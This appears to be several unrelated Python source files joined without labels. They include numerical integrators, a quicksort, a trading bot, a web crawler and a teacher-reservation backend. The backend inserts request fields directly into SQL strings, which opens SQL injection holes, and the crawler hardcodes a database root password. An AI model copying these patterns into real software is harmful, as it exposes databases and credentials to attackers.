                output_placeholders = [None for _ in range(len(output_tensor_list))]
                # Do not touch tensors that have no grad_fn, which can cause issues
                # such as https://github.com/pytorch/pytorch/issues/60733
                for i, output in enumerate(output_tensor_list):
                    if torch.is_tensor(output) and output.grad_fn is None:
                        output_placeholders[i] = output

                # When find_unused_parameters=True, makes tensors which require grad
                # run through the DDPSink backward pass. When not all outputs are
                # used in loss, this makes those corresponding tensors receive
                # undefined gradient which the reducer then handles to ensure
                # param.grad field is not touched and we don't error out.
                passthrough_tensor_list = _DDPSink.apply(
                    self.reducer,
                    state_dict,
                    *output_tensor_list,
                )
                for i in range(len(output_placeholders)):
                    if output_placeholders[i] is None:
                        output_placeholders[i] = passthrough_tensor_list[i]

                # Reconstruct output data structure.
                output = _tree_unflatten_with_rref(
                    output_placeholders, treespec, output_is_rref
                )
        return output


## -*- coding: utf-8 -*

from __future__ import division

import numpy as np

from odelab.scheme import Scheme

class McLachlan(Scheme):
	r"""
Solver for the Lagrange-d'Alembert (LDA) equations using the
algorithm given by equation (4.18) in [MLPe06]_.

The scheme will work for any system as long as the necessary methods are implemented.
The adapted scheme reads as follows:

.. math::
	q_{1/2} &= q_0 + \frac{h}{2}H_p(q_0,p_0) \\
	p_1 &= p_0 + h\frac{H_q(q_{1/2},p_0) + H_q(q_{1/2},p_1)}{2} + h ∑_i λ_i α^i(q_{1/2})\\
	q_1 &= q_{1/2} + \frac{h}{2}H_p(q_1,p_1)\\
	&\langle{θ(q_1)},{H_p(q_1,p_1)}\rangle = 0

The :class:`odelab.system.System` object must implement:

* :meth:`odelab.system.System.velocity`
* :meth:`odelab.system.System.momentum`
* :meth:`odelab.system.System.position`
* :meth:`odelab.system.System.lag`
* :meth:`odelab.system.System.force`
* :meth:`odelab.system.System.codistribution`

:References:

.. [MLPe06] \R. McLachlan and M. Perlmutter, *Integrators for Nonholonomic Mechanical Systems*, J. Nonlinear Sci., **16** 283-328, (2006) :doi:`/10.1007/s00332-005-0698-1`
	"""

	def get_residual(self, t, u0, h):
		v0 = self.system.velocity(u0)
		momentum = self.system.momentum
		p0 = momentum(u0)
		qh = self.system.position(u0) + .5*h*v0
		qhp0 = np.hstack([qh,p0])
		codistribution = self.system.codistribution
		codistribution_h = codistribution(qh)
		def residual(du):
			u1 = u0+du
			q1 = self.system.position(u1)
			v1 = self.system.velocity(u1)
			l = self.system.lag(u1)
			p1 = momentum(u1)
			qhp1 = np.hstack([qh,p1])
			force = (self.system.force(qhp0) + self.system.force(qhp1))/2
			return np.hstack([
				q1 - qh - .5*h*v1,
				p1 - p0 - h * force + np.dot(l, codistribution_h),
				np.dot(codistribution(q1), v1),
				])
		return residual

class NonHolonomicEnergy(Scheme):

	def get_residual(self, t, u0, h):
		v0 = self.system.velocity(u0)
		q0 = self.system.position(u0)
		codistribution = self.system.codistribution
		l0 = self.system.lag(u0)
		def vector(du):
			u1 = u0 + du
			l1 = self.system.lag(u1)
			cod = codistribution(self.codistribution_q(u0,u1,h))
			return np.hstack([
				h*self.system.average_velocity(u0,u1),
				h*self.system.average_force(u0,u1) + np.dot(l1, cod),
				l1-l0 + h*np.dot(cod, self.system.average_velocity(u0,u1))])
		def residual(du):
			return du - vector(du)
		return residual

	def codistribution_q(self, u0, u1, h):
		return (self.system.position(u0)+self.system.position(u1))/2

class NonHolonomicEnergyEMP(NonHolonomicEnergy):
	"""
	Non Holonomic Energy preserving scheme with codistribution at the "explicit mid-point" q0 + h/2 v0
	"""
	def codistribution_q(self, u0, u1, h):
		return self.system.position(u0) + h/2*self.system.velocity(u0)

class NonHolonomicEnergy0(NonHolonomicEnergy):
	"""
	Non Holonomic Energy preserving scheme with codistribution at the starting point q0
	"""
	def codistribution_q(self, u0, u1, h):
		return self.system.position(u0)

class SymplecticEuler(Scheme):
	"""
Nonholonomic Symplectic Euler.
	"""

	def get_residual(self, t, u0, h):
		v0 = self.system.velocity(u0)
		q0 = self.system.position(u0)
		q1 = q0 + h*v0
		p0 = self.system.momentum(u0)
		force = self.system.force(q1)
		l0 = self.system.lag(u0)
		vl0 = np.hstack([v0,l0])
		codistribution_mid = self.system.codistribution((q0+q1)/2)
		codistribution = self.system.codistribution(q1)
		def residual(dvl):
			u1 = np.hstack([q1, vl0+dvl]) # assuming that the system stores position,velocity
			v1 = self.system.velocity(u1)
			p1 = self.system.momentum(u1)
			l = self.system.lag(u1)
			return np.hstack([p1 - p0 - h*force + np.dot(l, codistribution_mid), np.dot(codistribution, v1)])
		return residual

	def get_guess(self,t,u0,h):
		return np.zeros_like(np.hstack([self.system.velocity(u0),self.system.lag(u0)]))

	def reconstruct(self,root,t,u0,h):
		v0 = self.system.velocity(u0)
		dvl = root
		du = np.hstack([h*v0,dvl])
		return h, du

class NonHolonomicLeapFrog(Scheme):
	r"""
Non-holonomic Leap Frog:

.. math::
	q_{i+1} &= q_i + h v_{i+1}\\
	v_{i+1} &= v_i + h (F(q_i) + A(q_i)^{T} λ_i)\\
	&A(q_i)(v_i+v_{i+1}) = 0

	"""

	def step(self, t, u0, h):
		q0 = self.system.position(u0)
		v0 = self.system.velocity(u0)
		force = self.system.force(q0)
		cod = self.system.codistribution(q0)
		def residual(vl1):
			u01 = np.hstack([q0,vl1])
			v1 = self.system.velocity(u01)
			l1 = self.system.lag(u01)
			return np.hstack([v1 - v0 - h*force + np.dot(l1, cod), np.dot(cod, v0+v1)])
		N = self.root_solver(residual)
		l0 = self.system.lag(u0)
		vl1 = N.run(np.hstack([v0,l0]))
		u01 = np.hstack([q0,vl1])
		v1 = self.system.velocity(u01)
		q1 = q0 + h*v1
		u1 = np.hstack([q1,vl1])
		return t+h, u1


def qsort(seq,left,right):
    if left >= right:
        return
    pivot = seq[(left+right)//2]
    cur_l = left
    cur_r = right
    while True:
        if seq[cur_l] < pivot:
            cur_l += 1
            if cur_l == right:
                break
        if seq[cur_r] >= pivot:
            cur_r -= 1
            if cur_r == left:
                break
        if cur_r <= cur_l:
            break
        elif seq[cur_l] >= pivot >= seq[cur_r]:
            seq[cur_l],seq[cur_r] = seq[cur_r],seq[cur_l]
            print('swapped')
        print(seq,left,right,cur_l,cur_r)
    qsort(seq,left,cur_l)
    qsort(seq,cur_l+1,right)

N = int(input())
A = list(map(int,input().split()))
qsort(A,0,len(A)-1)
print(*A)


from config import *
from utils import DatabaseDeal

"""
:params:
    data: {
        "account: ""
    }

:return
    {
        status: "",
        info : {
                name: "",
                phone: "",
                email: "",
                introduction: "",
                direction: "",
                workplace: ""
        }
    }
"""

def t_t_view_own_info(data):
    sql = "select name, phone, email, introduction, direction, workplace from TeacherInfo where account = '%s'"
    baser = DatabaseDeal()
    results, status = baser.select(sql=sql % (data['account']))
    result = results.iloc[0].to_dict()
    return result, status

'''
:params
    data: {
        name: '',
        email: '',
        direction: '',
        introduction: '',
        workplace: '',
        phone: '',
        account: ''
    }

:return
    {
        status: ''
    }
'''

def t_t_submit_own_info(data):
    print('t submit own info data: ', data)
    sql = "update TeacherInfo set name = '%s', introduction = '%s', direction = '%s', email = '%s', phone = '%s', " \
          "workplace = '%s' where account = '%s';"
    baser = DatabaseDeal()
    results, status = baser.insert_like(sql=sql % (
        data['name'], data['introduction'], data['direction'], data['email'], data['phone'], data['workplace'],
        data['account']))
    if status == 200:
        sql = "update ReservationInfo set t_name = (select name from TeacherInfo where account = '%s') where t_account = '%s';"
        results, status = baser.insert_like(sql=sql % (data['account'], data['account']))

    return results, status

'''
    :params
        data: {
            account: '',
            reservations: [
                {
                    week: int,
                    weekday: int,
                    segment: int,
                    place: '',
                    tips: ''
                },
                ...
            ]
        }

    :return
        {
            status: ''
        }
'''

def t_t_release_reservation(data):
    sql_insert = "insert into ReservationInfo (t_account, week, weekday, segment, place, tips) values ('%s', '%s', '%s', '%s', '%s', '%s');"
    baser = DatabaseDeal()
    ress = data['reservations']
    results = None
    status = None
    for res in ress:
        results, status = baser.insert_like(
            sql_insert % (data['account'], res['week'], res['weekday'], res['segment'], res['place'], res['tips']))
        if status == 201:
            return results, status
    sql_update = "update ReservationInfo set t_name = (select name from TeacherInfo where TeacherInfo.account = ReservationInfo.t_account), t_email = (select email from TeacherInfo where TeacherInfo.account = ReservationInfo.t_account), t_phone = (select phone from TeacherInfo where TeacherInfo.account = ReservationInfo.t_account) where t_name is null;"
    results, status = baser.insert_like(sql=sql_update)
    return results, status

'''
:params:
    data: {
        account: ''
    }

    :return
        {
            status: '',
            ress:  [
                {
                    week: '第1周',
                    weekday: '周五',
                    segment: '10:30 ~ 11:00',
                    student: '***',
                    place: '宋健一号院北***',
                    reason: '答疑',
                    score: str,
                    tips: '',
                    score: '',
                },
                ...
            ]
        }
'''

def t_t_view_reservation(data):
    print('t_t_view_reservation data: ', data)
    sql = "select week, weekday, segment, s_name as student, place, reason, tips, concat(is_canceled) as is_canceled, concat(is_finished) as is_finished, concat(serial) as serial, concat(score) as score, concat(is_selected) as is_selected from ReservationInfo where t_account = '%s' and is_canceled != 3 and is_finished = 0;"
    baser = DatabaseDeal()
    temp_ress, status = baser.select(sql=sql % data['account'])
    ress = []
    if temp_ress is not None:
        for i in range(0, temp_ress.shape[0]):
            ress.append(temp_ress.iloc[i].to_dict())
    print('t view reservation ress: ', ress)
    return ress, status

'''
教师发布考试信息

:params
    data: {
        account: '',
        week: '',
        weekday: '',
        e_name: '',
        start: '',
        end: '',
        place: '',
        tips: ''
    }

:return
    {
        status: ''
    }
'''

def t_release_exam(data):
    print('t_release_exam: ', data)

    sql = "insert into ExamInfo (t_account, e_name, week, weekday, start, end, place, tips) values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s');"
    baser = DatabaseDeal()
    results, status = baser.insert_like(
        sql=sql % (
            data['account'], data['e_name'], data['week'], data['weekday'],
            data['start'].replace('T', ' ').replace('.000Z', ''), data['end'].replace('T', '').replace('.000Z', ''),
            data['place'], data['tips']))

    if status == 200:
        # 更新，向表中插入姓名
        sql_update = "update ExamInfo set t_name = (select name from TeacherInfo where TeacherInfo.account = ExamInfo.t_account) where t_name = '';"
        results, status = baser.insert_like(sql=sql_update)
    else:
        return results, status
    print('t_release_exam status: ', status, '\n\tresults: ', results)
    return results, status

'''
教师查看自己发布的考试内容

:params
    data: {
        account: '' // 教师
    }

:return
    {
        status: '',
        exams: [
            {
                'name': '', // 考试名
                'place': '',
                start: '',
                end: '',
                week: '',
                weekday: '',
                tips: ''
            }
        ]
    }

'''

def t_view_own_release_exams(data):
    print('t view own release exams data: ', data)
    baser = DatabaseDeal()
    sql = "select e_name as name, start, end, week, weekday, place, tips, concat(serial) as serial from ExamInfo where t_account = '%s' order by week asc, weekday asc, start asc;"
    results, status = baser.select(sql=sql % data['account'])

    exams = []
    for i in range(0, results.shape[0]):
        exams.append(results.iloc[i].to_dict())
    print('t view own release exams status: ', status, 'results', results)
    return exams, status

'''

14 修改发布的考试

接口名
    edit_exam

:params
    data: {
        account: '',
        week: '',
        weekday: '',
        e_name: '',
        start: '',
        end: '',
        place: '',
        serial: ''
    }

:return
    {
        status: ''
    }
'''

def t_edit_exam(data):
    print('t edit exam data: ', data)
    baser = DatabaseDeal()
    sql = "update ExamInfo set e_name = '%s', start = '%s', end = '%s', place = '%s', week = '%s', weekday = '%s', tips = '%s' where serial = '%s';"
    try:
        results, status = baser.insert_like(sql % (
            data['e_name'], data['start'], data['end'], data['place'], data['week'], data['weekday'], data['tips'],
            data['serial']))
    except Exception as e:
        results, status = None, 500
        print('t edit exam error!', e)

    return results, status


import ouro_lib as ol
import json                             # for manipulating array data
import os                               # for basic OS functions
import pandas as pd                     # in-memory database capabilities
import argparse
from progress.bar import Bar
import datetime                         # used for stock timestamps
import alpaca_trade_api as tradeapi     # required for interaction with Alpaca
import csv
import logging
import time

# Get Quorum path from environment
quorumroot = os.environ.get("OURO_QUORUM", "C:\\TEMP")
actionpath = quorumroot + '\\broker-actions.json'
buyskippath = quorumroot + '\\broker-buyskip.json'
statuspath = quorumroot + '\\broker-status.csv'
logpath = quorumroot + '\\trader.log'
installpath = os.environ.get("OURO_INSTALL", "D:\\OneDrive\\Dev\\Python\\Oura")

# Setup Logging
logging.basicConfig(
    filename=logpath,
    filemode='a',
    format='%(asctime)s %(name)s %(levelname)s %(message)s',
    datefmt='%Y-%m-%d %H:%M:%S',
    level=os.environ.get("LOGLEVEL", "INFO"))

logging.info('OURO-TRADER logging enabled.')

# initialize files
try:
    logging.debug('Initializing trader files.')
    with open (statuspath, 'w', newline='\n', encoding='utf-8') as outfile:
        outfile.write('')
    with open (buyskippath, 'w', newline='\n', encoding='utf-8') as outfile:
        outfile.write('')
except Exception:
    logging.error('Could not initialize files', exc_info=True)
    quit()

# setup command line
parser = argparse.ArgumentParser(description="OURO-HISTORY:  Daily stock data ingestion.")
parser.add_argument("--test", action="store_true", default=False, help="Script runs in test mode.  FALSE (Default) = ignore if the market is closed; TRUE = only run while the market is open")
parser.add_argument("--marketopen", action="store_true", default=False, help="Force the market to be open for one execution.  FALSE (Default) = query the actual market; TRUE = set the market as open for one execution for testing purposes.")
cmdline = parser.parse_args()
logging.info('Command line arguement; test mode is ' + str(cmdline.test))

# Initialize the Alpaca API
alpaca = tradeapi.REST()

# Read the buy and sell strategies
strategies = pd.read_csv(installpath + '\\buy_strategies.csv')

# build simple index between family and average return percentage
familyreturns = {}
try:
    logging.debug('Building strategy families and average return percentages')
    for x in strategies['Family'].keys():
        familyreturns[strategies.at[x, 'Family']] = strategies.at[x, 'AvgPctRtn']
except Exception:
    logging.error('Could not build strategies', exc_info=True)

# Set maximum risk ratio to 0.5% of the account
# This ratio cannot be exceeded on a single trade
maxriskratio = .004

# Initialize the stock lists
boughtlist = []
skiplist = []
status = {}
closeprices = {}

# Get the closing prices for all the stocks from yesterday
query = "select ticker, c from stockdata..ohlcv_day o " \
        "where tradedate in (select dateadd(day, -1, max(tradedate)) from stockdata..ohlcv_day)"
crs = ol.sqldbcursor()
crs.execute(query)
for x in crs.fetchall():
    closeprices[x[0]] = x[1]

# Initialize MarketOpen
marketopen = ol.IsOpen()
eod = ol.IsEOD()

# Force the market open if configured to do so
if cmdline.marketopen:
    logging.info ('Forcing market to be open')
    marketopen = True
    eod = False

# Wait for the market to open unless it's a test
while not marketopen and not cmdline.test:
    logging.info('Market is closed; waiting for 1 minute.')
    marketopen = ol.IsOpen()
    ol.WaitForMinute()

# This is to work around an odd problem with Alpaca and the way it reports cash / buying power
account = ol.GetAccount()
cash = (float(account.buying_power) / (float(account.multiplier)))-25001 # minimum amount for day trading
tradecapital = cash / 10

while (marketopen and not eod) or cmdline.test is True:
    marketopen = ol.IsOpen()
    eod = ol.IsEOD()

    # Log info for heartbeat
    logging.info('Checking inbound stock actions.')

    # get ticker actions
    with open(actionpath, 'r', encoding='utf-8') as infile:
        inboundactions = json.load(infile)

    #setup a progress bar
    starttime = datetime.datetime.now().strftime('%H:%M:%S')
    logtime = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    prgbar = Bar('  Stocks ' + starttime + ': ', max=len(inboundactions))

    # Bandwagonning happens where trader gets out of sync with pathfinder
    # and there is an abundance of orders (>10) that need to be bought.
    # This script will submit buy orders faster than they can be executed
    # so they're never seen in order count.  This helps limit the effect
    # of bandwagonning.
    inboundcount = 0
    for stock in inboundactions:
        if stock not in boughtlist and stock not in skiplist:
            inboundcount += 1

    # loop through the inbound stocks
    for stock in inboundactions:
        if inboundcount >= 10:
            # Give the order execution engine time to catch up
            time.sleep(2)
            # Reduce the risk if bandwaggoning is happening
            bandwagondiscount = .3
            logging.debug('Bandwagonning detected; reducing risk and delaying order placement.')
        else:
            # This is normal; risk is not modified
            bandwagondiscount = 1

        if stock not in boughtlist and stock not in skiplist:
            # how much is the stock
            stockprice = float(inboundactions[stock].get('price'))
            recenthigh = float(inboundactions[stock].get('recenthigh'))
            recentlow = float(inboundactions[stock].get('recentlow'))
            yesterdayclose = float(closeprices.get(stock))

            # set max trade risk
            maxriskamt = cash * maxriskratio * bandwagondiscount
            traderiskamt = cash * maxriskratio * bandwagondiscount

            # how much capital should I use on this trade?
            ordercount = ol.GetOrderCount()
            if ordercount < 10:
                # tradecapital = cash / float(10-ordercount)
                logging.debug('Orders are < 10; trade capital set to ' + str(tradecapital))
            else:
                # tradecapital = 0
                logging.debug('Orders count is > 10; trade capital set to 0')

            # how many shares should I buy
            ordershares = int(tradecapital/float(inboundactions[stock].get('price')))

            # reset pricing
            floorprice = 0
            ceilingprice = 0
            buylimit = 0
            traderiskpct = 0
            familyret = 0

            if ordercount < 10:
                # reset the skip reason
                skipreason = 'Unknown'

                # Get the strategy family and estimated return
                family = inboundactions[stock].get('strategyfamily')
                familyret = float(familyreturns[family]) * .8  # It's rare that the average is every filled

                # Set the baseline floor price and percent based on the return rate
                floorpct = familyret * .5
                floorprice = stockprice * (1-floorpct)

                # set the ceiling price for the bracket order
                ceilingprice = stockprice * (1 + float(familyreturns[family]))

                # Adjust prices to recent high/low if we're using oscilators
                if family != 'Candlestick':
                    # Pricing reality check -- are the prices achievable in the recent past?
                    if ceilingprice > recenthigh:
                        ceilingprice = recenthigh - 0.05  # $0.05 under the recent high
                    if floorprice > recentlow:
                        skipreason = 'Proposed stop-loss price already hit today'
                        ordershares = 0

                # Adjust the floor price if there is more risk than reward
                if (stockprice * ordershares * floorpct) > maxriskamt:
                    # Use 40% of the ceiling difference as the new floor amount
                    floorprice = stockprice - ((ceilingprice-stockprice) * .4) # I never want to break even on risk

                # Calculate the amount risked on this trade
                traderiskamt = (stockprice - floorprice) * ordershares
                traderiskpct = (stockprice - floorprice) / stockprice

                # set the buy limit to 5% of the potential profit
                buylimit = ((ceilingprice - stockprice) * .05) + stockprice

                # Calculate the trade return
                traderet = (ceilingprice - buylimit) / buylimit

                # Check if the price change between now and yesterday's close is more than
                # the average for this strategy family.
                if (stockprice - yesterdayclose) / yesterdayclose >= traderet:
                    ordershares = 0
                    skipreason = 'The potential return has already been met today.'

                # Are we planning on making more than we risk?
                if traderet-.005 <= traderiskpct:
                    # This is a bad trade
                    ordershares = 0
                    skipreason = 'Risk outweighs reward'

                # place the order
                if ordershares > 0:
                    try:
                        logging.debug('Placing a bracket order for' + stock)
                        alpaca.submit_order(
                            side='buy',
                            symbol=stock,
                            type='limit',
                            limit_price=buylimit,
                            qty=ordershares,
                            time_in_force='day', # bracket order must be 'day' or 'gtc'
                            order_class='bracket',
                            take_profit={
                                'limit_price': ceilingprice
                            },
                            stop_loss={
                                'stop_price': floorprice
                            }

                        )
                        # Add this to the stocks already bought
                        # Note:  Only add this to the bought list if the placing the order was successful
                        #        This allows the stock to be re-tried if the price falls below the stop
                        #        point before the buy order can be filled.
                        boughtlist.append(stock)
                        status[stock] = {
                            'DateTime': logtime,
                            'Ticker': stock,
                            'Cash': cash,
                            'TradeCapital': tradecapital,
                            'BuyPrice': stockprice,
                            'BuyLimit': buylimit,
                            'MaxRiskAmt': maxriskamt,
                            'TradeRiskAmt': traderiskamt,
                            'TradeRiskPct': traderiskpct,
                            'PortfolioRiskPct': traderiskamt/cash,
                            'FamilyReturnPct': familyret,
                            'TradeReturnPct' : traderet,
                            'OrderShares': ordershares,
                            'RecentHigh': recenthigh,
                            'RecentLow':  recentlow,
                            'FloorPrice': floorprice,
                            'CeilingPrice': ceilingprice,
                            'Decision': 'buy',
                            'Reason': family
                        }
                    except Exception as ex:
                        logging.error('Could not submit buy order', exc_info=True)
                        logging.info('Skipping ' + stock + ' because buy order failed.')
                        if stock not in skiplist:
                            # add this to the skip list -- the timing just wasn't right
                            # skiplist.append(stock) -- With buy limits, I don't need to do this.

                            # Annotate what happened
                            status[stock] = {
                                'DateTime': logtime,
                                'Ticker': stock,
                                'Cash': cash,
                                'TradeCapital': tradecapital,
                                'BuyPrice': stockprice,
                                'BuyLimit': buylimit,
                                'MaxRiskAmt': maxriskamt,
                                'TradeRiskAmt': traderiskamt,
                                'TradeRiskPct': traderiskpct,
                                'PortfolioRiskPct': traderiskamt / cash,
                                'FamilyReturnPct': familyret,
                                'TradeReturnPct': traderet,
                                'OrderShares': ordershares,
                                'RecentHigh': recenthigh,
                                'RecentLow': recentlow,
                                'FloorPrice': floorprice,
                                'CeilingPrice': ceilingprice,
                                'Decision': 'skip',
                                'Reason': skipreason + ' - buy order failed; eligible for retry.'
                            }
                else:
                    # define skipping reasons if not previously defined
                    if ordershares == 0 and skipreason == 'Unknown':
                        skipreason = 'Stock is too expensive or unable to buy shares.'
                    if stock in boughtlist and skipreason == 'Unknown':
                        skipreason = 'Stock in bought list.'
                    if ordercount >= 10 and skipreason == 'Unknown':
                        skipreason = 'Too many existing positions'

                    logging.info('Skipping ' + stock)
                    if stock not in skiplist:
                        # add this to the skip list -- the timing just wasn't right
                        skiplist.append(stock)
                        status[stock] = {
                            'DateTime': logtime,
                            'Ticker': stock,
                            'Cash': cash,
                            'TradeCapital': tradecapital,
                            'BuyPrice': stockprice,
                            'BuyLimit': buylimit,
                            'MaxRiskAmt': maxriskamt,
                            'TradeRiskAmt': traderiskamt,
                            'TradeRiskPct': traderiskpct,
                            'PortfolioRiskPct': traderiskamt/cash,
                            'FamilyReturnPct': familyret,
                            'TradeReturnPct' : traderet,
                            'OrderShares': ordershares,
                            'RecentHigh': recenthigh,
                            'RecentLow':  recentlow,
                            'FloorPrice': floorprice,
                            'CeilingPrice': ceilingprice,
                            'Decision': 'skip',
                            'Reason': skipreason + '; not eligible for retry.'
                        }
        # Update the order count after submitting the order
        ordercount = ol.GetOrderCount()

        #advance the progress bar
        prgbar.next()

    # finish the progress bar
    prgbar.finish()

    # write the bought and skip lists
    try:
        logging.debug('Writing bought and skip list.')
        with open (buyskippath, 'w', newline='\n', encoding='utf-8') as outfile:
            tmp = {
                'buy': boughtlist,
                'skip': skiplist
            }
            tmp = json.dumps(status, indent=4)
            outfile.write(tmp)
    except Exception:
        try:
            logging.error('Could not write buy and skip list', exc_info=True)
        except:
            print('Could not write to log file')

    # update broker status
    try:
        logging.debug('Writing broker status')
        with open (statuspath, 'w', newline='\n', encoding='utf-8') as outfile:
            fieldnames = ['DateTime', 'Ticker', 'Cash', 'TradeCapital', 'BuyPrice', 'BuyLimit', 'MaxRiskAmt',
                          'TradeRiskAmt', 'TradeRiskPct', 'PortfolioRiskPct', 'RiskPct', 'FamilyReturnPct', 'TradeReturnPct', 'OrderShares', 'RecentHigh',
                          'RecentLow','FloorPrice', 'CeilingPrice', 'Decision', 'Reason']
            writer = csv.DictWriter(outfile, fieldnames=fieldnames)
            # write the header
            writer.writeheader()
            #writer.writerow(['datetime', 'ticker', 'cash', 'TradeRiskAmt', 'TradeCapital', 'OrderShares', 'FloorPrice', 'CeilingPrice', 'Decision'])
            for x in status:
                writer.writerow(status[x])
    except Exception:
        try:
            logging.error('Could not write broker status', exc_info=True)
        except:
            print('Could not to log file.')

    # wait until the next minute before checking again
    ol.WaitForMinute()

# Log the transition to end of day processing
logging.info('Early end-of-day detected; checking for stocks that should be liquidated early.')

# Get stocks that should be sold early
try:
    crs = ol.sqldbcursor()
    query = "select ticker from stockdata..ticker_statistics where sellwhen = 'Early'"
    se = crs.execute(query)
    earlylist = []
    for x in se.fetchall():
        earlylist.append(x[0])
except Exception as ex:
    logging.error('Could not get list of early stocks.', exc_info=True)

logging.info('15-minute end-of-day check:  ' + str(ol.IsEOD(minutes=15)))

# If forcing the market open, simulate the end of day
eod = ol.IsEOD(minutes=15)
if cmdline.marketopen:
    eod = True

# Start wrapping up the day
while (not eod):
    # Check if a stock on an open order is in the early-sell list and cancel it
    for stock in ol.GetOrders():
        if stock.symbol in earlylist:
            try:
                alpaca.cancel_order(stock.id)
                logging.info('Cancelling open orders for ' + stock.symbol + ' early.')
            except Exception as ex:
                logging.error('Could not cancel order', exc_info=True)
    # If a held position is in the early sell list, close it
    for stock in ol.GetPositions():
        if stock.symbol in earlylist:
            try:
                alpaca.close_position(stock.symbol)
                logging.info('Closing open positions for ' + stock.symbol + ' early.')
            except Exception as ex:
                logging.error('Could not close position', exc_info=True)

    # Wait for a minute until we're 15 minutes before the end of the day
    time.sleep(60)

    # If forcing the market open, simulate the end of day
    eod = ol.IsEOD(minutes=15)
    if cmdline.marketopen:
        eod = True
    logging.info('15-minute end-of-day check:  ' + str(eod))

# It's the end of the day; cancel orders and quit
logging.info('End of day reached; liquidating all orders.')
try:
    alpaca.cancel_all_orders()
    alpaca.close_all_positions()
except Exception as ex:
    logging.error('Could not cancel orders and liquidate positions at the end of the day.', exc_info=True)


import argparse
import json
import os
import re

from PIL import Image
from tqdm import tqdm

parser = argparse.ArgumentParser()
parser.add_argument('--input_file', required=True, type=str, help='The input SVIT JSON file')
parser.add_argument('--image_dir', required=True, type=str, help='The directory of images')
parser.add_argument('--output_file', required=True, type=str, help='The output SVIT JSON file')

def expand_to_square(box, w, h):
    if w == h:
        return box

    if w > h:
        x1, y1, x2, y2 = box
        y1 += (w - h) // 2
        y2 += (w - h) // 2
        box = x1, y1, x2, y2
        return box

    x1, y1, x2, y2 = box
    x1 += (h - w) // 2
    x2 += (h - w) // 2
    box = x1, y1, x2, y2
    return box

def normalize_bbox(box, w, h):
    if w > h:
        return [round(i / w, 3) for i in box]

    return [round(i / h, 3) for i in box]

if __name__ == "__main__":
    args = parser.parse_args()

    bbox_regex = r"\[[0-9.]+, [0-9.]+, [0-9.]+, [0-9.]+\]"
    images = dict()

    with open(args.input_file, 'r') as fin:
        data = json.load(fin)

    pbar = tqdm(data)
    for item in pbar:
        image_file_name = f"{item['image_id']}.jpg"

        if image_file_name in images:
            width, height = images[image_file_name]
        else:
            image = Image.open(os.path.join(args.image_dir, image_file_name))
            width, height = image.size
            images[image_file_name] = width, height

        for conversation in item['conversations']:
            for qa in conversation['content']:
                regex = re.compile(r'\[[0-9.]+, [0-9.]+, [0-9.]+, [0-9.]+\]')
                matches = re.findall(regex, qa['value'])
                new_value = qa['value']

                for match in matches:
                    try:
                        x1, y1, x2, y2 = [float(part.strip()) for part in match.strip('[]').split(',')]
                        original_bbox = round(x1 * width), round(y1 * height), round(x2 * width), round(y2 * height)
                        expanded_bbox = expand_to_square(original_bbox, width, height)
                        new_x1, new_y1, new_x2, new_y2 = normalize_bbox(expanded_bbox, width, height)
                        new_bbox_string = f'[{new_x1}, {new_y1}, {new_x2}, {new_y2}]'
                        new_value = new_value.replace(match, new_bbox_string)
                    except:
                        pass

                qa['value'] = new_value

    with open(args.output_file, "w+") as fout:
        fout.write(json.dumps(data, indent=4))


import feapder
import unicodedata
import urllib3
import threading
import time
import jieba
import logging
import hashlib
import os

from tools import get_feature, SpiderDataItem
from feapder import setting
from simhash import Simhash, SimhashIndex
from create_db import delete_values

# 去除警告
urllib3.disable_warnings()
jieba.setLogLevel(logging.INFO)

# 已经爬取的页面数量
num_pages = 0

# 爬虫配置
setting.SPIDER_MAX_RETRY_TIMES = 0
setting.MYSQL_IP = "localhost"
setting.MYSQL_PORT = 80
setting.MYSQL_DB = "search_engine_db"
setting.MYSQL_USER_NAME = "root"
setting.MYSQL_USER_PASS = "hww74520i"
setting.EXPORT_DATA_MAX_FAILED_TIMES = 1  # 导出数据时最大的失败次数，包括保存和更新，超过这个次数报警
setting.EXPORT_DATA_MAX_RETRY_TIMES = 1  # 导出数据时最大的重试次数，包括保存和更新，超过这个次数则放弃重试

# 数据库表名
TABLE_NAME = "sina"
# 声明条件变量
cLock = threading.Condition()
# 列表中存在的url
exist_urls = []
# 用于保存simhash
index = SimhashIndex(objs=[], k=3)

# 最大爬取的页面数量(实际爬取的页面数量会小于这个值，所以建议设大一点)
max_pages = 15000

class AirSpiderTest(feapder.AirSpider):

    def start_requests(self):
        yield feapder.Request("https://news.sina.com.cn/")

    def parse(self, request, response):
        global exist_urls

        href_list = response.xpath('//a/@href').extract()
        href_list = list(set(href_list))  # 去重
        exist_urls += href_list  # 加入已存在的链接
        for href in href_list:  # 发请求
            yield feapder.Request(href, callback=self.parser_news)

    def parser_news(self, request, response):
        global num_pages, exist_urls
        if response.encoding.lower() != 'utf-8':
            raise Exception("encoding  error")

        title = response.xpath('//h1[@class="main-title"]/text()').extract_first().strip()
        contents = response.xpath('//div[@id="article"]//p/text()').extract()  # 获取正文的列表
        contents = [unicodedata.normalize('NFKC', i) for i in contents]
        content = "".join(contents).strip()  # 拼接正文

        if len(title) < 5 or len(content) < 50:
            raise Exception("pass this url")

        else:
            hrefs = response.xpath('//a/@href').extract()  # 提取链接
            hrefs = list(set(hrefs))  # 去重
            hrefs = [href for href in hrefs if href.startswith("http") or href.startswith("https")]

            cLock.acquire()

            s = Simhash(get_feature(title + content))

            if not index.get_near_dups(s):
                index.add(str(num_pages), s)

                # 数据入库
                item = SpiderDataItem()
                item.table_name = TABLE_NAME  # 表名
                ans = hashlib.md5(request.url.encode(encoding='UTF-8')).hexdigest()
                item.id = int(ans[8:-8], 16)  # id, 这条数据的唯一标识
                item.title = title
                item.content = content
                item.link = request.url
                item.urls = " ".join(hrefs)

                yield item

            num_pages += 1
            if num_pages == max_pages:
                print('exit')
                os._exit(0)

            unique_urls = list(set(hrefs) - set(exist_urls))  # 提取未爬取过的链接
            exist_urls += unique_urls

            cLock.notify_all()  # 通知wait()
            cLock.release()
            time.sleep(0.1)

            # 未爬取的链接继续爬取
            for unique_url in unique_urls:
                yield feapder.Request(unique_url, callback=self.parser_news)

    def validate(self, request, response):
        if response.status_code != 200:
            raise Exception("response code not 200")  # 抛出异常

    # 下载中间件用于在请求之前，对请求做一些处理，如添加cookie、header等。写法如下：
    def download_midware(self, request):
        request.timeout = (6, 6)
        return request

if __name__ == "__main__":
    delete_values(TABLE_NAME)
    AirSpiderTest(thread_count=8).start()


# -*- coding: utf-8 -*-
"""
Created on Thu Jul  6 23:50:37 2023

@author: vitmcs
"""
